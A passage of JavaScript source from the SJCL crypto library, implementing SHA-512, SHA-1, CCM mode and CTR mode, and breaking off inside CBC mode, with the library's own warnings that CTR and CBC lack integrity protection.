            h0 = (tmp + ((h1 & h2) ^ (h3 & (h1 ^ h2))) + (h1 >>> 2 ^ h1 >>> 13 ^ h1 >>> 22 ^ h1 << 30 ^ h1 << 19 ^ h1 << 10)) | 0;
        }

        h[0] = h[0] + h0 | 0;
        h[1] = h[1] + h1 | 0;
        h[2] = h[2] + h2 | 0;
        h[3] = h[3] + h3 | 0;
        h[4] = h[4] + h4 | 0;
        h[5] = h[5] + h5 | 0;
        h[6] = h[6] + h6 | 0;
        h[7] = h[7] + h7 | 0;
    }
};


/** @fileOverview Javascript SHA-512 implementation.
 *
 * This implementation was written for CryptoJS by Jeff Mott and adapted for
 * SJCL by Stefan Thomas.
 *
 * CryptoJS (c) 2009–2012 by Jeff Mott. All rights reserved.
 * Released with New BSD License
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 * @author Jeff Mott
 * @author Stefan Thomas
 */

/**
 * Context for a SHA-512 operation in progress.
 * @constructor
 */
sjcl.hash.sha512 = function (hash) {
    if (!this._key[0]) {
        this._precompute();
    }
    if (hash) {
        this._h = hash._h.slice(0);
        this._buffer = hash._buffer.slice(0);
        this._length = hash._length;
    } else {
        this.reset();
    }
};

/**
 * Hash a string or an array of words.
 * @static
 * @param {bitArray|String} data the data to hash.
 * @return {bitArray} The hash value, an array of 16 big-endian words.
 */
sjcl.hash.sha512.hash = function (data) {
    return (new sjcl.hash.sha512()).update(data).finalize();
};

sjcl.hash.sha512.prototype = {
    /**
     * The hash's block size, in bits.
     * @constant
     */
    blockSize: 1024,

    /**
     * Reset the hash state.
     * @return this
     */
    reset: function () {
        this._h = this._init.slice(0);
        this._buffer = [];
        this._length = 0;
        return this;
    },

    /**
     * Input several words to the hash.
     * @param {bitArray|String} data the data to hash.
     * @return this
     */
    update: function (data) {
        if (typeof data === "string") {
            data = sjcl.codec.utf8String.toBits(data);
        }
        var i, b = this._buffer = sjcl.bitArray.concat(this._buffer, data),
            ol = this._length,
            nl = this._length = ol + sjcl.bitArray.bitLength(data);
        if (nl > 9007199254740991) {
            throw new sjcl.exception.invalid("Cannot hash more than 2^53 - 1 bits");
        }

        if (typeof Uint32Array !== 'undefined') {
            var c = new Uint32Array(b);
            var j = 0;
            for (i = 1024 + ol - ((1024 + ol) & 1023); i <= nl; i += 1024) {
                this._block(c.subarray(32 * j, 32 * (j + 1)));
                j += 1;
            }
            b.splice(0, 32 * j);
        } else {
            for (i = 1024 + ol - ((1024 + ol) & 1023); i <= nl; i += 1024) {
                this._block(b.splice(0, 32));
            }
        }
        return this;
    },

    /**
     * Complete hashing and output the hash value.
     * @return {bitArray} The hash value, an array of 16 big-endian words.
     */
    finalize: function () {
        var i, b = this._buffer,
            h = this._h;

        // Round out and push the buffer
        b = sjcl.bitArray.concat(b, [sjcl.bitArray.partial(1, 1)]);

        // Round out the buffer to a multiple of 32 words, less the 4 length words.
        for (i = b.length + 4; i & 31; i++) {
            b.push(0);
        }

        // append the length
        b.push(0);
        b.push(0);
        b.push(Math.floor(this._length / 0x100000000));
        b.push(this._length | 0);

        while (b.length) {
            this._block(b.splice(0, 32));
        }

        this.reset();
        return h;
    },

    /**
     * The SHA-512 initialization vector, to be precomputed.
     * @private
     */
    _init: [],

    /**
     * Least significant 24 bits of SHA512 initialization values.
     *
     * Javascript only has 53 bits of precision, so we compute the 40 most
     * significant bits and add the remaining 24 bits as constants.
     *
     * @private
     */
    _initr: [0xbcc908, 0xcaa73b, 0x94f82b, 0x1d36f1, 0xe682d1, 0x3e6c1f, 0x41bd6b, 0x7e2179],

    /*
    _init:
    [0x6a09e667, 0xf3bcc908, 0xbb67ae85, 0x84caa73b, 0x3c6ef372, 0xfe94f82b, 0xa54ff53a, 0x5f1d36f1,
     0x510e527f, 0xade682d1, 0x9b05688c, 0x2b3e6c1f, 0x1f83d9ab, 0xfb41bd6b, 0x5be0cd19, 0x137e2179],
    */

    /**
     * The SHA-512 hash key, to be precomputed.
     * @private
     */
    _key: [],

    /**
     * Least significant 24 bits of SHA512 key values.
     * @private
     */
    _keyr: [0x28ae22, 0xef65cd, 0x4d3b2f, 0x89dbbc, 0x48b538, 0x05d019, 0x194f9b, 0x6d8118,
        0x030242, 0x706fbe, 0xe4b28c, 0xffb4e2, 0x7b896f, 0x1696b1, 0xc71235, 0x692694,
        0xf14ad2, 0x4f25e3, 0x8cd5b5, 0xac9c65, 0x2b0275, 0xa6e483, 0x41fbd4, 0x1153b5,
        0x66dfab, 0xb43210, 0xfb213f, 0xef0ee4, 0xa88fc2, 0x0aa725, 0x03826f, 0x0e6e70,
        0xd22ffc, 0x26c926, 0xc42aed, 0x95b3df, 0xaf63de, 0x77b2a8, 0xedaee6, 0x82353b,
        0xf10364, 0x423001, 0xf89791, 0x54be30, 0xef5218, 0x65a910, 0x71202a, 0xbbd1b8,
        0xd2d0c8, 0x41ab53, 0x8eeb99, 0x9b48a8, 0xc95a63, 0x418acb, 0x63e373, 0xb2b8a3,
        0xefb2fc, 0x172f60, 0xf0ab72, 0x6439ec, 0x631e28, 0x82bde9, 0xc67915, 0x72532b,
        0x26619c, 0xc0c207, 0xe0eb1e, 0x6ed178, 0x176fba, 0xc898a6, 0xf90dae, 0x1c471b,
        0x047d84, 0xc72493, 0xc9bebc, 0x100d4c, 0x3e42b6, 0x657e2a, 0xd6faec, 0x475817
    ],

    /*
    _key:
    [0x428a2f98, 0xd728ae22, 0x71374491, 0x23ef65cd, 0xb5c0fbcf, 0xec4d3b2f, 0xe9b5dba5, 0x8189dbbc,
     0x3956c25b, 0xf348b538, 0x59f111f1, 0xb605d019, 0x923f82a4, 0xaf194f9b, 0xab1c5ed5, 0xda6d8118,
     0xd807aa98, 0xa3030242, 0x12835b01, 0x45706fbe, 0x243185be, 0x4ee4b28c, 0x550c7dc3, 0xd5ffb4e2,
     0x72be5d74, 0xf27b896f, 0x80deb1fe, 0x3b1696b1, 0x9bdc06a7, 0x25c71235, 0xc19bf174, 0xcf692694,
     0xe49b69c1, 0x9ef14ad2, 0xefbe4786, 0x384f25e3, 0x0fc19dc6, 0x8b8cd5b5, 0x240ca1cc, 0x77ac9c65,
     0x2de92c6f, 0x592b0275, 0x4a7484aa, 0x6ea6e483, 0x5cb0a9dc, 0xbd41fbd4, 0x76f988da, 0x831153b5,
     0x983e5152, 0xee66dfab, 0xa831c66d, 0x2db43210, 0xb00327c8, 0x98fb213f, 0xbf597fc7, 0xbeef0ee4,
     0xc6e00bf3, 0x3da88fc2, 0xd5a79147, 0x930aa725, 0x06ca6351, 0xe003826f, 0x14292967, 0x0a0e6e70,
     0x27b70a85, 0x46d22ffc, 0x2e1b2138, 0x5c26c926, 0x4d2c6dfc, 0x5ac42aed, 0x53380d13, 0x9d95b3df,
     0x650a7354, 0x8baf63de, 0x766a0abb, 0x3c77b2a8, 0x81c2c92e, 0x47edaee6, 0x92722c85, 0x1482353b,
     0xa2bfe8a1, 0x4cf10364, 0xa81a664b, 0xbc423001, 0xc24b8b70, 0xd0f89791, 0xc76c51a3, 0x0654be30,
     0xd192e819, 0xd6ef5218, 0xd6990624, 0x5565a910, 0xf40e3585, 0x5771202a, 0x106aa070, 0x32bbd1b8,
     0x19a4c116, 0xb8d2d0c8, 0x1e376c08, 0x5141ab53, 0x2748774c, 0xdf8eeb99, 0x34b0bcb5, 0xe19b48a8,
     0x391c0cb3, 0xc5c95a63, 0x4ed8aa4a, 0xe3418acb, 0x5b9cca4f, 0x7763e373, 0x682e6ff3, 0xd6b2b8a3,
     0x748f82ee, 0x5defb2fc, 0x78a5636f, 0x43172f60, 0x84c87814, 0xa1f0ab72, 0x8cc70208, 0x1a6439ec,
     0x90befffa, 0x23631e28, 0xa4506ceb, 0xde82bde9, 0xbef9a3f7, 0xb2c67915, 0xc67178f2, 0xe372532b,
     0xca273ece, 0xea26619c, 0xd186b8c7, 0x21c0c207, 0xeada7dd6, 0xcde0eb1e, 0xf57d4f7f, 0xee6ed178,
     0x06f067aa, 0x72176fba, 0x0a637dc5, 0xa2c898a6, 0x113f9804, 0xbef90dae, 0x1b710b35, 0x131c471b,
     0x28db77f5, 0x23047d84, 0x32caab7b, 0x40c72493, 0x3c9ebe0a, 0x15c9bebc, 0x431d67c4, 0x9c100d4c,
     0x4cc5d4be, 0xcb3e42b6, 0x597f299c, 0xfc657e2a, 0x5fcb6fab, 0x3ad6faec, 0x6c44198c, 0x4a475817],
    */

    /**
     * Function to precompute _init and _key.
     * @private
     */
    _precompute: function () {
        // XXX: This code is for precomputing the SHA256 constants, change for
        //      SHA512 and re-enable.
        var i = 0,
            prime = 2,
            factor, isPrime;

        function frac(x) {
            return (x - Math.floor(x)) * 0x100000000 | 0;
        }

        function frac2(x) {
            return (x - Math.floor(x)) * 0x10000000000 & 0xff;
        }

        for (; i < 80; prime++) {
            isPrime = true;
            for (factor = 2; factor * factor <= prime; factor++) {
                if (prime % factor === 0) {
                    isPrime = false;
                    break;
                }
            }
            if (isPrime) {
                if (i < 8) {
                    this._init[i * 2] = frac(Math.pow(prime, 1 / 2));
                    this._init[i * 2 + 1] = (frac2(Math.pow(prime, 1 / 2)) << 24) | this._initr[i];
                }
                this._key[i * 2] = frac(Math.pow(prime, 1 / 3));
                this._key[i * 2 + 1] = (frac2(Math.pow(prime, 1 / 3)) << 24) | this._keyr[i];
                i++;
            }
        }
    },

    /**
     * Perform one cycle of SHA-512.
     * @param {Uint32Array|bitArray} words one block of words.
     * @private
     */
    _block: function (words) {
        var i, wrh, wrl,
            h = this._h,
            k = this._key,
            h0h = h[0],
            h0l = h[1],
            h1h = h[2],
            h1l = h[3],
            h2h = h[4],
            h2l = h[5],
            h3h = h[6],
            h3l = h[7],
            h4h = h[8],
            h4l = h[9],
            h5h = h[10],
            h5l = h[11],
            h6h = h[12],
            h6l = h[13],
            h7h = h[14],
            h7l = h[15];
        var w;
        if (typeof Uint32Array !== 'undefined') {
            // When words is passed to _block, it has 32 elements. SHA512 _block
            // function extends words with new elements (at the end there are 160 elements). 
            // The problem is that if we use Uint32Array instead of Array, 
            // the length of Uint32Array cannot be changed. Thus, we replace words with a 
            // normal Array here.
            w = Array(160); // do not use Uint32Array here as the instantiation is slower
            for (var j = 0; j < 32; j++) {
                w[j] = words[j];
            }
        } else {
            w = words;
        }

        // Working variables
        var ah = h0h,
            al = h0l,
            bh = h1h,
            bl = h1l,
            ch = h2h,
            cl = h2l,
            dh = h3h,
            dl = h3l,
            eh = h4h,
            el = h4l,
            fh = h5h,
            fl = h5l,
            gh = h6h,
            gl = h6l,
            hh = h7h,
            hl = h7l;

        for (i = 0; i < 80; i++) {
            // load up the input word for this round
            if (i < 16) {
                wrh = w[i * 2];
                wrl = w[i * 2 + 1];
            } else {
                // Gamma0
                var gamma0xh = w[(i - 15) * 2];
                var gamma0xl = w[(i - 15) * 2 + 1];
                var gamma0h =
                    ((gamma0xl << 31) | (gamma0xh >>> 1)) ^
                    ((gamma0xl << 24) | (gamma0xh >>> 8)) ^
                    (gamma0xh >>> 7);
                var gamma0l =
                    ((gamma0xh << 31) | (gamma0xl >>> 1)) ^
                    ((gamma0xh << 24) | (gamma0xl >>> 8)) ^
                    ((gamma0xh << 25) | (gamma0xl >>> 7));

                // Gamma1
                var gamma1xh = w[(i - 2) * 2];
                var gamma1xl = w[(i - 2) * 2 + 1];
                var gamma1h =
                    ((gamma1xl << 13) | (gamma1xh >>> 19)) ^
                    ((gamma1xh << 3) | (gamma1xl >>> 29)) ^
                    (gamma1xh >>> 6);
                var gamma1l =
                    ((gamma1xh << 13) | (gamma1xl >>> 19)) ^
                    ((gamma1xl << 3) | (gamma1xh >>> 29)) ^
                    ((gamma1xh << 26) | (gamma1xl >>> 6));

                // Shortcuts
                var wr7h = w[(i - 7) * 2];
                var wr7l = w[(i - 7) * 2 + 1];

                var wr16h = w[(i - 16) * 2];
                var wr16l = w[(i - 16) * 2 + 1];

                // W(round) = gamma0 + W(round - 7) + gamma1 + W(round - 16)
                wrl = gamma0l + wr7l;
                wrh = gamma0h + wr7h + ((wrl >>> 0) < (gamma0l >>> 0) ? 1 : 0);
                wrl += gamma1l;
                wrh += gamma1h + ((wrl >>> 0) < (gamma1l >>> 0) ? 1 : 0);
                wrl += wr16l;
                wrh += wr16h + ((wrl >>> 0) < (wr16l >>> 0) ? 1 : 0);
            }

            w[i * 2] = wrh |= 0;
            w[i * 2 + 1] = wrl |= 0;

            // Ch
            var chh = (eh & fh) ^ (~eh & gh);
            var chl = (el & fl) ^ (~el & gl);

            // Maj
            var majh = (ah & bh) ^ (ah & ch) ^ (bh & ch);
            var majl = (al & bl) ^ (al & cl) ^ (bl & cl);

            // Sigma0
            var sigma0h = ((al << 4) | (ah >>> 28)) ^ ((ah << 30) | (al >>> 2)) ^ ((ah << 25) | (al >>> 7));
            var sigma0l = ((ah << 4) | (al >>> 28)) ^ ((al << 30) | (ah >>> 2)) ^ ((al << 25) | (ah >>> 7));

            // Sigma1
            var sigma1h = ((el << 18) | (eh >>> 14)) ^ ((el << 14) | (eh >>> 18)) ^ ((eh << 23) | (el >>> 9));
            var sigma1l = ((eh << 18) | (el >>> 14)) ^ ((eh << 14) | (el >>> 18)) ^ ((el << 23) | (eh >>> 9));

            // K(round)
            var krh = k[i * 2];
            var krl = k[i * 2 + 1];

            // t1 = h + sigma1 + ch + K(round) + W(round)
            var t1l = hl + sigma1l;
            var t1h = hh + sigma1h + ((t1l >>> 0) < (hl >>> 0) ? 1 : 0);
            t1l += chl;
            t1h += chh + ((t1l >>> 0) < (chl >>> 0) ? 1 : 0);
            t1l += krl;
            t1h += krh + ((t1l >>> 0) < (krl >>> 0) ? 1 : 0);
            t1l = t1l + wrl | 0; // FF32..FF34 perf issue https://bugzilla.mozilla.org/show_bug.cgi?id=1054972
            t1h += wrh + ((t1l >>> 0) < (wrl >>> 0) ? 1 : 0);

            // t2 = sigma0 + maj
            var t2l = sigma0l + majl;
            var t2h = sigma0h + majh + ((t2l >>> 0) < (sigma0l >>> 0) ? 1 : 0);

            // Update working variables
            hh = gh;
            hl = gl;
            gh = fh;
            gl = fl;
            fh = eh;
            fl = el;
            el = (dl + t1l) | 0;
            eh = (dh + t1h + ((el >>> 0) < (dl >>> 0) ? 1 : 0)) | 0;
            dh = ch;
            dl = cl;
            ch = bh;
            cl = bl;
            bh = ah;
            bl = al;
            al = (t1l + t2l) | 0;
            ah = (t1h + t2h + ((al >>> 0) < (t1l >>> 0) ? 1 : 0)) | 0;
        }

        // Intermediate hash
        h0l = h[1] = (h0l + al) | 0;
        h[0] = (h0h + ah + ((h0l >>> 0) < (al >>> 0) ? 1 : 0)) | 0;
        h1l = h[3] = (h1l + bl) | 0;
        h[2] = (h1h + bh + ((h1l >>> 0) < (bl >>> 0) ? 1 : 0)) | 0;
        h2l = h[5] = (h2l + cl) | 0;
        h[4] = (h2h + ch + ((h2l >>> 0) < (cl >>> 0) ? 1 : 0)) | 0;
        h3l = h[7] = (h3l + dl) | 0;
        h[6] = (h3h + dh + ((h3l >>> 0) < (dl >>> 0) ? 1 : 0)) | 0;
        h4l = h[9] = (h4l + el) | 0;
        h[8] = (h4h + eh + ((h4l >>> 0) < (el >>> 0) ? 1 : 0)) | 0;
        h5l = h[11] = (h5l + fl) | 0;
        h[10] = (h5h + fh + ((h5l >>> 0) < (fl >>> 0) ? 1 : 0)) | 0;
        h6l = h[13] = (h6l + gl) | 0;
        h[12] = (h6h + gh + ((h6l >>> 0) < (gl >>> 0) ? 1 : 0)) | 0;
        h7l = h[15] = (h7l + hl) | 0;
        h[14] = (h7h + hh + ((h7l >>> 0) < (hl >>> 0) ? 1 : 0)) | 0;
    }
};


/** @fileOverview Javascript SHA-1 implementation.
 *
 * Based on the implementation in RFC 3174, method 1, and on the SJCL
 * SHA-256 implementation.
 *
 * @author Quinn Slack
 */

/**
 * Context for a SHA-1 operation in progress.
 * @constructor
 */
sjcl.hash.sha1 = function (hash) {
    if (hash) {
        this._h = hash._h.slice(0);
        this._buffer = hash._buffer.slice(0);
        this._length = hash._length;
    } else {
        this.reset();
    }
};

/**
 * Hash a string or an array of words.
 * @static
 * @param {bitArray|String} data the data to hash.
 * @return {bitArray} The hash value, an array of 5 big-endian words.
 */
sjcl.hash.sha1.hash = function (data) {
    return (new sjcl.hash.sha1()).update(data).finalize();
};

sjcl.hash.sha1.prototype = {
    /**
     * The hash's block size, in bits.
     * @constant
     */
    blockSize: 512,

    /**
     * Reset the hash state.
     * @return this
     */
    reset: function () {
        this._h = this._init.slice(0);
        this._buffer = [];
        this._length = 0;
        return this;
    },

    /**
     * Input several words to the hash.
     * @param {bitArray|String} data the data to hash.
     * @return this
     */
    update: function (data) {
        if (typeof data === "string") {
            data = sjcl.codec.utf8String.toBits(data);
        }
        var i, b = this._buffer = sjcl.bitArray.concat(this._buffer, data),
            ol = this._length,
            nl = this._length = ol + sjcl.bitArray.bitLength(data);
        if (nl > 9007199254740991) {
            throw new sjcl.exception.invalid("Cannot hash more than 2^53 - 1 bits");
        }

        if (typeof Uint32Array !== 'undefined') {
            var c = new Uint32Array(b);
            var j = 0;
            for (i = this.blockSize + ol - ((this.blockSize + ol) & (this.blockSize - 1)); i <= nl; i += this.blockSize) {
                this._block(c.subarray(16 * j, 16 * (j + 1)));
                j += 1;
            }
            b.splice(0, 16 * j);
        } else {
            for (i = this.blockSize + ol - ((this.blockSize + ol) & (this.blockSize - 1)); i <= nl; i += this.blockSize) {
                this._block(b.splice(0, 16));
            }
        }
        return this;
    },

    /**
     * Complete hashing and output the hash value.
     * @return {bitArray} The hash value, an array of 5 big-endian words. TODO
     */
    finalize: function () {
        var i, b = this._buffer,
            h = this._h;

        // Round out and push the buffer
        b = sjcl.bitArray.concat(b, [sjcl.bitArray.partial(1, 1)]);
        // Round out the buffer to a multiple of 16 words, less the 2 length words.
        for (i = b.length + 2; i & 15; i++) {
            b.push(0);
        }

        // append the length
        b.push(Math.floor(this._length / 0x100000000));
        b.push(this._length | 0);

        while (b.length) {
            this._block(b.splice(0, 16));
        }

        this.reset();
        return h;
    },

    /**
     * The SHA-1 initialization vector.
     * @private
     */
    _init: [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0],

    /**
     * The SHA-1 hash key.
     * @private
     */
    _key: [0x5A827999, 0x6ED9EBA1, 0x8F1BBCDC, 0xCA62C1D6],

    /**
     * The SHA-1 logical functions f(0), f(1), ..., f(79).
     * @private
     */
    _f: function (t, b, c, d) {
        if (t <= 19) {
            return (b & c) | (~b & d);
        } else if (t <= 39) {
            return b ^ c ^ d;
        } else if (t <= 59) {
            return (b & c) | (b & d) | (c & d);
        } else if (t <= 79) {
            return b ^ c ^ d;
        }
    },

    /**
     * Circular left-shift operator.
     * @private
     */
    _S: function (n, x) {
        return (x << n) | (x >>> 32 - n);
    },

    /**
     * Perform one cycle of SHA-1.
     * @param {Uint32Array|bitArray} words one block of words.
     * @private
     */
    _block: function (words) {
        var t, tmp, a, b, c, d, e,
            h = this._h;
        var w;
        if (typeof Uint32Array !== 'undefined') {
            // When words is passed to _block, it has 16 elements. SHA1 _block
            // function extends words with new elements (at the end there are 80 elements). 
            // The problem is that if we use Uint32Array instead of Array, 
            // the length of Uint32Array cannot be changed. Thus, we replace words with a 
            // normal Array here.
            w = Array(80); // do not use Uint32Array here as the instantiation is slower
            for (var j = 0; j < 16; j++) {
                w[j] = words[j];
            }
        } else {
            w = words;
        }

        a = h[0];
        b = h[1];
        c = h[2];
        d = h[3];
        e = h[4];

        for (t = 0; t <= 79; t++) {
            if (t >= 16) {
                w[t] = this._S(1, w[t - 3] ^ w[t - 8] ^ w[t - 14] ^ w[t - 16]);
            }
            tmp = (this._S(5, a) + this._f(t, b, c, d) + e + w[t] +
                this._key[Math.floor(t / 20)]) | 0;
            e = d;
            d = c;
            c = this._S(30, b);
            b = a;
            a = tmp;
        }

        h[0] = (h[0] + a) | 0;
        h[1] = (h[1] + b) | 0;
        h[2] = (h[2] + c) | 0;
        h[3] = (h[3] + d) | 0;
        h[4] = (h[4] + e) | 0;
    }
};
/** @fileOverview CCM mode implementation.
 *
 * Special thanks to Roy Nicholson for pointing out a bug in our
 * implementation.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/**
 * CTR mode with CBC MAC.
 * @namespace
 */
sjcl.mode.ccm = {
    /** The name of the mode.
     * @constant
     */
    name: "ccm",

    _progressListeners: [],

    listenProgress: function (cb) {
        sjcl.mode.ccm._progressListeners.push(cb);
    },

    unListenProgress: function (cb) {
        var index = sjcl.mode.ccm._progressListeners.indexOf(cb);
        if (index > -1) {
            sjcl.mode.ccm._progressListeners.splice(index, 1);
        }
    },

    _callProgressListener: function (val) {
        var p = sjcl.mode.ccm._progressListeners.slice(),
            i;

        for (i = 0; i < p.length; i += 1) {
            p[i](val);
        }
    },

    /** Encrypt in CCM mode.
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
     * @param {bitArray} plaintext The plaintext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] The authenticated data.
     * @param {Number} [tlen=64] the desired tag length, in bits.
     * @return {bitArray} The encrypted data, an array of bytes.
     */
    encrypt: function (prf, plaintext, iv, adata, tlen) {
        var L, out = plaintext.slice(0),
            tag, w = sjcl.bitArray,
            ivl = w.bitLength(iv) / 8,
            ol = w.bitLength(out) / 8;
        tlen = tlen || 64;
        adata = adata || [];

        if (ivl < 7) {
            throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");
        }

        // compute the length of the length
        for (L = 2; L < 4 && ol >>> 8 * L; L++) {}
        if (L < 15 - ivl) {
            L = 15 - ivl;
        }
        iv = w.clamp(iv, 8 * (15 - L));

        // compute the tag
        tag = sjcl.mode.ccm._computeTag(prf, plaintext, iv, adata, tlen, L);

        // encrypt
        out = sjcl.mode.ccm._ctrMode(prf, out, iv, tag, tlen, L);

        return w.concat(out.data, out.tag);
    },

    /** Decrypt in CCM mode.
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
     * @param {bitArray} ciphertext The ciphertext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] adata The authenticated data.
     * @param {Number} [tlen=64] tlen the desired tag length, in bits.
     * @return {bitArray} The decrypted data.
     */
    decrypt: function (prf, ciphertext, iv, adata, tlen) {
        tlen = tlen || 64;
        adata = adata || [];
        var L,
            w = sjcl.bitArray,
            ivl = w.bitLength(iv) / 8,
            ol = w.bitLength(ciphertext),
            out = w.clamp(ciphertext, ol - tlen),
            tag = w.bitSlice(ciphertext, ol - tlen),
            tag2;


        ol = (ol - tlen) / 8;

        if (ivl < 7) {
            throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");
        }

        // compute the length of the length
        for (L = 2; L < 4 && ol >>> 8 * L; L++) {}
        if (L < 15 - ivl) {
            L = 15 - ivl;
        }
        iv = w.clamp(iv, 8 * (15 - L));

        // decrypt
        out = sjcl.mode.ccm._ctrMode(prf, out, iv, tag, tlen, L);

        // check the tag
        tag2 = sjcl.mode.ccm._computeTag(prf, out.data, iv, adata, tlen, L);
        if (!w.equal(out.tag, tag2)) {
            throw new sjcl.exception.corrupt("ccm: tag doesn't match");
        }

        return out.data;
    },

    _macAdditionalData: function (prf, adata, iv, tlen, ol, L) {
        var mac, tmp, i, macData = [],
            w = sjcl.bitArray,
            xor = w._xor4;

        // mac the flags
        mac = [w.partial(8, (adata.length ? 1 << 6 : 0) | (tlen - 2) << 2 | L - 1)];

        // mac the iv and length
        mac = w.concat(mac, iv);
        mac[3] |= ol;
        mac = prf.encrypt(mac);

        if (adata.length) {
            // mac the associated data.  start with its length...
            tmp = w.bitLength(adata) / 8;
            if (tmp <= 0xFEFF) {
                macData = [w.partial(16, tmp)];
            } else if (tmp <= 0xFFFFFFFF) {
                macData = w.concat([w.partial(16, 0xFFFE)], [tmp]);
            } // else ...

            // mac the data itself
            macData = w.concat(macData, adata);
            for (i = 0; i < macData.length; i += 4) {
                mac = prf.encrypt(xor(mac, macData.slice(i, i + 4).concat([0, 0, 0])));
            }
        }

        return mac;
    },

    /* Compute the (unencrypted) authentication tag, according to the CCM specification
     * @param {Object} prf The pseudorandom function.
     * @param {bitArray} plaintext The plaintext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} adata The authenticated data.
     * @param {Number} tlen the desired tag length, in bits.
     * @return {bitArray} The tag, but not yet encrypted.
     * @private
     */
    _computeTag: function (prf, plaintext, iv, adata, tlen, L) {
        // compute B[0]
        var mac, i, w = sjcl.bitArray,
            xor = w._xor4;

        tlen /= 8;

        // check tag length and message length
        if (tlen % 2 || tlen < 4 || tlen > 16) {
            throw new sjcl.exception.invalid("ccm: invalid tag length");
        }

        if (adata.length > 0xFFFFFFFF || plaintext.length > 0xFFFFFFFF) {
            // I don't want to deal with extracting high words from doubles.
            throw new sjcl.exception.bug("ccm: can't deal with 4GiB or more data");
        }

        mac = sjcl.mode.ccm._macAdditionalData(prf, adata, iv, tlen, w.bitLength(plaintext) / 8, L);

        // mac the plaintext
        for (i = 0; i < plaintext.length; i += 4) {
            mac = prf.encrypt(xor(mac, plaintext.slice(i, i + 4).concat([0, 0, 0])));
        }

        return w.clamp(mac, tlen * 8);
    },

    /** CCM CTR mode.
     * Encrypt or decrypt data and tag with the prf in CCM-style CTR mode.
     * May mutate its arguments.
     * @param {Object} prf The PRF.
     * @param {bitArray} data The data to be encrypted or decrypted.
     * @param {bitArray} iv The initialization vector.
     * @param {bitArray} tag The authentication tag.
     * @param {Number} tlen The length of th etag, in bits.
     * @param {Number} L The CCM L value.
     * @return {Object} An object with data and tag, the en/decryption of data and tag values.
     * @private
     */
    _ctrMode: function (prf, data, iv, tag, tlen, L) {
        var enc, i, w = sjcl.bitArray,
            xor = w._xor4,
            ctr, l = data.length,
            bl = w.bitLength(data),
            n = l / 50,
            p = n;

        // start the ctr
        ctr = w.concat([w.partial(8, L - 1)], iv).concat([0, 0, 0]).slice(0, 4);

        // en/decrypt the tag
        tag = w.bitSlice(xor(tag, prf.encrypt(ctr)), 0, tlen);

        // en/decrypt the data
        if (!l) {
            return {
                tag: tag,
                data: []
            };
        }

        for (i = 0; i < l; i += 4) {
            if (i > n) {
                sjcl.mode.ccm._callProgressListener(i / l);
                n += p;
            }
            ctr[3]++;
            enc = prf.encrypt(ctr);
            data[i] ^= enc[0];
            data[i + 1] ^= enc[1];
            data[i + 2] ^= enc[2];
            data[i + 3] ^= enc[3];
        }
        return {
            tag: tag,
            data: w.clamp(data, bl)
        };
    }
};
/** @fileOverview CTR mode implementation
 *
 * @author Torben Haase
 */

if (sjcl.beware === undefined) {
    sjcl.beware = {};
}
sjcl.beware["CTR mode is dangerous because it doesn't protect message integrity."] = function () {
    /**
     * Dangerous: CTR mode.
     * @namespace
     * @author Torben Haase
     */
    sjcl.mode.ctr = {
        /** The name of the mode.
         * @constant
         */
        name: "ctr",

        /** Encrypt in CTR mode.
         * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
         * @param {bitArray} plaintext The plaintext data.
         * @param {bitArray} iv The initialization value.  It must be 128 bits.
         * @param {bitArray} [adata=[]] The authenticated data.  Must be empty.
         * @return The encrypted data, an array of bytes.
         * @throws {sjcl.exception.invalid} if the IV isn't exactly 128 bits or if any adata is specified.
         */
        encrypt: function (prf, plaintext, iv, adata) {
            return sjcl.mode.ctr._calculate(prf, plaintext, iv, adata);
        },

        /** Decrypt in CTR mode.
         * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
         * @param {bitArray} ciphertext The ciphertext data.
         * @param {bitArray} iv The initialization value.  It must be 128 bits.
         * @param {bitArray} [adata=[]] The authenticated data.  It must be empty.
         * @return The decrypted data, an array of bytes.
         * @throws {sjcl.exception.invalid} if the IV isn't exactly 128 bits or if any adata is specified.
         * @throws {sjcl.exception.corrupt} if if the message is corrupt.
         */
        decrypt: function (prf, ciphertext, iv, adata) {
            return sjcl.mode.ctr._calculate(prf, ciphertext, iv, adata);
        },

        _calculate: function (prf, data, iv, adata) {
            var l, bl, res, c, d, e, i;
            if (adata && adata.length) {
                throw new sjcl.exception.invalid("ctr can't authenticate data");
            }
            if (sjcl.bitArray.bitLength(iv) !== 128) {
                throw new sjcl.exception.invalid("ctr iv must be 128 bits");
            }
            if (!(l = data.length)) {
                return [];
            }
            c = iv.slice(0);
            d = data.slice(0);
            bl = sjcl.bitArray.bitLength(d);
            for (i = 0; i < l; i += 4) {
                e = prf.encrypt(c);
                d[i] ^= e[0];
                d[i + 1] ^= e[1];
                d[i + 2] ^= e[2];
                d[i + 3] ^= e[3];
                c[3]++;
            }
            return sjcl.bitArray.clamp(d, bl);
        }
    };
};
/** @fileOverview CBC mode implementation
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

if (sjcl.beware === undefined) {
    sjcl.beware = {};
}
sjcl.beware["CBC mode is dangerous because it doesn't protect message integrity."] = function () {
    /**
     * Dangerous: CBC mode with PKCS#5 padding.
     * @namespace
     * @author Emily Stark
     * @author Mike Hamburg
     * @author Dan Boneh
     */
    sjcl.mode.cbc = {
        /** The name of the mode.
         * @constant
         */
        name: "cbc",

        /** Encrypt in CBC mode with PKCS#5 padding.
         * @param {Object} prp The block cipher.  It must have a block size of 16 bytes.
         * @param {bitArray} plaintext The plaintext data.
         * @param {bitArray} iv The initialization value.
         * @param {bitArray} [adata=[]] The authenticated data.  Must be empty.
         * @return The encrypted data, an array of bytes.
         * @throws {sjcl.exception.invalid} if the IV isn't exactly 128 bits, or if any adata is specified.
         */
        encrypt: function (prp, plaintext, iv, adata) {
            if (adata && adata.length) {
                throw new sjcl.exception.invalid("cbc can't authenticate data");
            }
